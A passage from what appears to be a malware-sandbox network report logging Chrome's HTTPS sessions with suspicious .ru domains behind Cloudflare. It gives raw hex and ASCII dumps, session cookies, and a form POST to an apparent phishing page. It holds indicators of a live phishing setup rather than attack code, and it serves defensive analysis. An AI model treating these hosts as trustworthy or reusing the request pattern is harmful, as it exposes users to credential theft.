6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-19 09:46:22 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-19 09:46:22 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	104.16.5.189	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:22 UTC	636	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://jx7d.qdjcpol.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:46:22 UTC	740	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 09:46:22 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=EPmMu5wkma7wVlfwdbAulCWtj16C5keiaMMMt910N7E-1742377582-1.0.1.1-_7_2IUe50hn5_vSoVONvC6sO3T4xDATFCV.FRI5brkyNTEQHUaFd0Lgp9shkEYvv7gFREoS2PE5_l0ANiVoe05Q5yhha2ERVFVXYo8try2I; path=/; expires=Wed, 19-Mar-25 10:16:22 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 922c0ad25e388c4c-FRA alt-svc: h3=":443"; ma=86400
2025-03-19 09:46:22 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-19 09:46:22 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49739	104.16.2.189	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:22 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EPmMu5wkma7wVlfwdbAulCWtj16C5keiaMMMt910N7E-1742377582-1.0.1.1-_7_2IUe50hn5_vSoVONvC6sO3T4xDATFCV.FRI5brkyNTEQHUaFd0Lgp9shkEYvv7gFREoS2PE5_l0ANiVoe05Q5yhha2ERVFVXYo8try2I
2025-03-19 09:46:22 UTC	435	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 09:46:22 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 922c0ad3ba363687-FRA alt-svc: h3=":443"; ma=86400
2025-03-19 09:46:22 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-19 09:46:22 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	104.21.70.67	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:42 UTC	567	OUT	GET /kabutar!lkn1tnbe HTTP/1.1 Host: vf70og.jnfemo.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://jx7d.qdjcpol.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://jx7d.qdjcpol.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:46:43 UTC	814	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 09:46:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=neQfDrgl46Q9mNjoM14smMGF6Rzs1dqLJqX8th%2BISTT1QvfAHu6qHH0azelNKo5enp15c0Y%2FFUQdPQ038tdnWXCIN5o6fXhW9oa7rWXaM6QiDVahj0eg4Av7ki6QgvNQSp9H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 922c0b4e7fb8a073-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=544&min_rtt=459&rtt_var=233&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1139&delivery_rate=6309368&cwnd=238&unsent_bytes=0&cid=bdbdc00a461b54df&ts=835&x=0"
2025-03-19 09:46:43 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-19 09:46:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	104.21.78.6	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:43 UTC	1418	OUT	POST /fsRu3cLvg2nfKYhsBy8lAN9xZfMdkRkj HTTP/1.1 Host: jx7d.qdjcpol.ru Connection: keep-alive Content-Length: 774 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUTcaWIAycY7GBvXj sec-ch-ua-mobile: ?0 Accept: / Origin: https://jx7d.qdjcpol.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://jx7d.qdjcpol.ru/WpB8P/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkR3QmZhREZoeXRuOXk0cHA1NFdTcWc9PSIsInZhbHVlIjoiU2lJZXczck1pbXFWemsxOWt3ZURuQjdRSllWMDEyb2EyQ3V5RTgrdFRKUUNqdEZLTzhRT21uZDhqMUV0bkQ2OGhrbDZJUSsraUpsNlpUbGE1R2VlRWxBV3BVN05IVW9obmlJSzh0TVl6QUkwUXFpdlF3YWVtazlFMk1PeEc3SzYiLCJtYWMiOiIyZWZjMjgxZTFmMDc1OTFkZjgzZTBiYjJiMjMzMmJjY2NmMGVmMWQ3OTdmZTVjNjk1NWY3ZTcwNjFmZTY1YTBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilk1dWFCWk9tVTZNTWszTHk1RWhqK0E9PSIsInZhbHVlIjoiSUVoR2Y3MHZqMEU1d0cwRzBQOHM1U3F6RDU2eC8rZXFIOTZ1T0M0YzNMTFhyRUZRVE1vZmdBTThUeHRFZEhBU1NCKzV6eWZtV0JLYjNwYW0xZGRIdlZkWnpYTnl0S1JKbzV6T0lhUmJjUSttK0xsejFRaWNCa0hLR1hRUXBMREkiLCJtYWMiOiI0OTY5NGUwNTU1ZmJkZTM2M2ZiNTg0MjViM2JjZmEzYTM1ZjRmMTMwOGRhZjgxZWU5Yjc0NWVmMTA1ODEzNWEwIiwidGFnIjoiIn0%3D
2025-03-19 09:46:43 UTC	774	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 54 63 61 57 49 41 79 63 59 37 47 42 76 58 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 75 56 79 69 4a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 54 63 61 57 49 41 79 63 59 37 47 42 76 58 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 58 75 6b 50 45 30 4d 32 5a 62 59 4a 52 77 72 72 6c 4a 4e 6d 50 6a 47 41 78 4a 4c 46 31 47 48 4d 57 70 43 6e 41 46 31 54 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 54 63 61 Data Ascii: ------WebKitFormBoundaryUTcaWIAycY7GBvXjContent-Disposition: form-data; name="bltpg"uVyiJ------WebKitFormBoundaryUTcaWIAycY7GBvXjContent-Disposition: form-data; name="sid"XukPE0M2ZbYJRwrrlJNmPjGAxJLF1GHMWpCnAF1T------WebKitFormBoundaryUTca
2025-03-19 09:46:43 UTC	1174	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 09:46:43 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CPkf%2F3DLYAuXEn8U%2F7YvZVO9yYAvskhbQd%2B1vRk3zzgUGVUwmha4aoqZ2hfBcTotLXceWCXeRg5WLts04MBgKiSnaBur4AC5rsasZXa%2BvewsYQu54BK301tB9gyc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=320&min_rtt=305&rtt_var=115&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=3101&delivery_rate=10084788&cwnd=252&unsent_bytes=0&cid=68ff3ea9c2690fdf&ts=184&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjhlUEV6ZFJhaTE5SkJTRU5JQjg5amc9PSIsInZhbHVlIjoiZUdHcHVKRE9lZWxtcFFNaVoyTGQ0Yk5tS1JyMjZwOFJWSTR6N1pNK09rU2tvQjQ3eUN3Y1hleHNHQUJEb2x3dUxRa2dwUTdHb2pYQ2o5alZUbllnaUNYZHIwR0RVNFhhZXMza01NU1l6MGFDQWdGa1NLOG44K3NlSkwrVmpIejQiLCJtYWMiOiIyNGRhN2FmN2Y0MWE1YmIwNmNkOGJjZjI0MzFkYjE0OTNiMDk5NTA1ZjU1Y2YwNGI4MTE3Y2NjMzhlYmM0ZWI0IiwidGFnIjoiIn0%3D; expires=Wed, 19-Mar-2025 11:46:43 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-19 09:46:43 UTC	783	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 31 42 59 55 46 76 65 56 6c 52 57 55 51 79 61 32 39 4e 53 56 52 43 63 54 56 53 4e 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 6d 6f 77 64 69 39 54 5a 6e 52 4b 55 6b 78 77 4e 57 6c 6b 56 32 78 44 53 6b 31 73 56 31 64 55 61 57 39 55 62 6d 4a 6b 65 57 6c 45 52 6d 74 73 62 45 35 53 63 47 64 51 53 6d 52 48 4d 58 56 42 51 54 46 68 51 6b 64 51 57 45 46 52 52 6e 46 78 55 69 39 4b 55 54 5a 7a 4d 45 68 51 65 54 6c 79 51 6e 55 33 4e 48 4d 32 65 48 70 6b 53 7a 64 33 61 33 4a 45 57 56 67 35 4f 45 70 52 62 46 4d 79 4f 55 70 4e 53 6c 42 48 54 6b 64 57 59 69 39 58 51 6d 6c 71 4d 47 52 4f 54 47 74 32 52 47 64 79 5a 46 5a 70 55 6a 64 49 5a 32 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im1BYUFveVlRWUQya29NSVRCcTVSNFE9PSIsInZhbHVlIjoiamowdi9TZnRKUkxwNWlkV2xDSk1sV1dUaW9UbmJkeWlERmtsbE5ScGdQSmRHMXVBQTFhQkdQWEFRRnFxUi9KUTZzMEhQeTlyQnU3NHM2eHpkSzd3a3JEWVg5OEpRbFMyOUpNSlBHTkdWYi9XQmlqMGROTGt2RGdyZFZpUjdIZ2k
2025-03-19 09:46:43 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-19 09:46:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	172.67.220.176	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:43 UTC	396	OUT	GET /kabutar!lkn1tnbe HTTP/1.1 Host: vf70og.jnfemo.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:46:44 UTC	811	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 09:46:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r76T2DFUrJq9JI4KeXWo3XpHlf1LeiT7XNsVjOtJw93rWDP9KwBFbszvZm5dAi52P8kDLTdguJUi7ARDUtlqSU%2F4vN9DYL1k4tKPMLfSbXxlBme3FZIxi0iQtXhOSb9Nmey5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 922c0b54bdef1c09-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=883&min_rtt=857&rtt_var=373&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=968&delivery_rate=2716697&cwnd=247&unsent_bytes=0&cid=64171005440c518e&ts=807&x=0"
2025-03-19 09:46:44 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-19 09:46:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49748	104.21.78.6	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:43 UTC	1468	OUT	GET /WpB8P/ HTTP/1.1 Host: jx7d.qdjcpol.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://jx7d.qdjcpol.ru/WpB8P/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjhlUEV6ZFJhaTE5SkJTRU5JQjg5amc9PSIsInZhbHVlIjoiZUdHcHVKRE9lZWxtcFFNaVoyTGQ0Yk5tS1JyMjZwOFJWSTR6N1pNK09rU2tvQjQ3eUN3Y1hleHNHQUJEb2x3dUxRa2dwUTdHb2pYQ2o5alZUbllnaUNYZHIwR0RVNFhhZXMza01NU1l6MGFDQWdGa1NLOG44K3NlSkwrVmpIejQiLCJtYWMiOiIyNGRhN2FmN2Y0MWE1YmIwNmNkOGJjZjI0MzFkYjE0OTNiMDk5NTA1ZjU1Y2YwNGI4MTE3Y2NjMzhlYmM0ZWI0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1BYUFveVlRWUQya29NSVRCcTVSNFE9PSIsInZhbHVlIjoiamowdi9TZnRKUkxwNWlkV2xDSk1sV1dUaW9UbmJkeWlERmtsbE5ScGdQSmRHMXVBQTFhQkdQWEFRRnFxUi9KUTZzMEhQeTlyQnU3NHM2eHpkSzd3a3JEWVg5OEpRbFMyOUpNSlBHTkdWYi9XQmlqMGROTGt2RGdyZFZpUjdIZ2kiLCJtYWMiOiJmYTViY2JjZTM2MjY3MWY4ZWE5ZjdmNzZmNTdjZjk2ODQxYzA3OWU3NmUyNTZhYTYyYTczY2Q4Zjg3NDAxNWVmIiwidGFnIjoiIn0%3D
2025-03-19 09:46:44 UTC	1210	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 09:46:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gjawt7OCop%2B2%2F6f80tBCwAiYKDGJc2xFSTyMTwHW0TASnBY00%2FlFuKuEuTuLGa9DvgNmFWDIw6cArpVI%2Boag98Ms5MELqXX1WVmrodVXnJd%2Bx7G9B6GLLdj0ZQZ3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=18505&min_rtt=18491&rtt_var=5211&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2370&delivery_rate=218606&cwnd=252&unsent_bytes=0&cid=4be8ad4ca700131f&ts=221&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InNYclZveHhtR1Ryd050cUI4cjBjaEE9PSIsInZhbHVlIjoiMVR5a3NvcGFrR0svY3Vna3g5d1dHbWRwa01VbFo0S3hNQkZOWURqVzBKeDVlYlJ6MlVRd2FDb3QyR2VSKzN6VkJxcTJ2SUVkaENyT1pZWUpyVDZRei93SGMxNVRnVVNlWmpxc21ESGNkTG93L1BqSERzMG91YTZDUDZzR1BqN2ciLCJtYWMiOiJmOWE4MjcxMjc3MTRmZDk2MmNhZjNjOTZkMWQwYTY2ZjIxMDkzMzJmZWZhZGUxNzlhZGVmMTczNzIwYTJhMzc4IiwidGFnIjoiIn0%3D; expires=Wed, 19-Mar-2025 11:46:43 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-19 09:46:44 UTC	760	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 5a 42 61 57 77 72 51 6b 59 7a 57 56 64 44 4f 55 6c 4e 65 6c 59 33 65 6b 6c 50 52 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 6a 6c 48 65 6b 6f 78 4f 57 46 49 52 6a 63 72 5a 30 6f 7a 64 6b 70 4d 62 32 56 6e 4e 6a 55 76 54 48 70 51 59 33 70 74 4e 30 5a 77 57 46 59 79 4d 6c 49 32 64 7a 56 4a 56 55 31 61 4f 58 56 45 65 47 70 5a 63 46 6f 30 61 57 31 6f 4d 33 4a 6a 63 54 6c 71 4e 47 31 35 52 47 78 6a 55 57 64 4b 52 57 70 55 4f 43 39 32 54 6c 5a 43 4d 56 5a 6d 51 55 78 47 4e 31 64 56 52 32 70 61 61 47 4e 6f 63 6e 52 42 61 6d 78 44 5a 57 70 32 62 44 46 31 4e 47 55 33 57 6d 34 78 61 6e 56 73 4e 58 42 6f 63 54 59 78 64 55 35 74 51 58 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InZBaWwrQkYzWVdDOUlNelY3eklPRUE9PSIsInZhbHVlIjoiZjlHekoxOWFIRjcrZ0ozdkpMb2VnNjUvTHpQY3ptN0ZwWFYyMlI2dzVJVU1aOXVEeGpZcFo0aW1oM3JjcTlqNG15RGxjUWdKRWpUOC92TlZCMVZmQUxGN1dVR2paaGNocnRBamxDZWp2bDF1NGU3Wm4xanVsNXBocTYxdU5tQXg
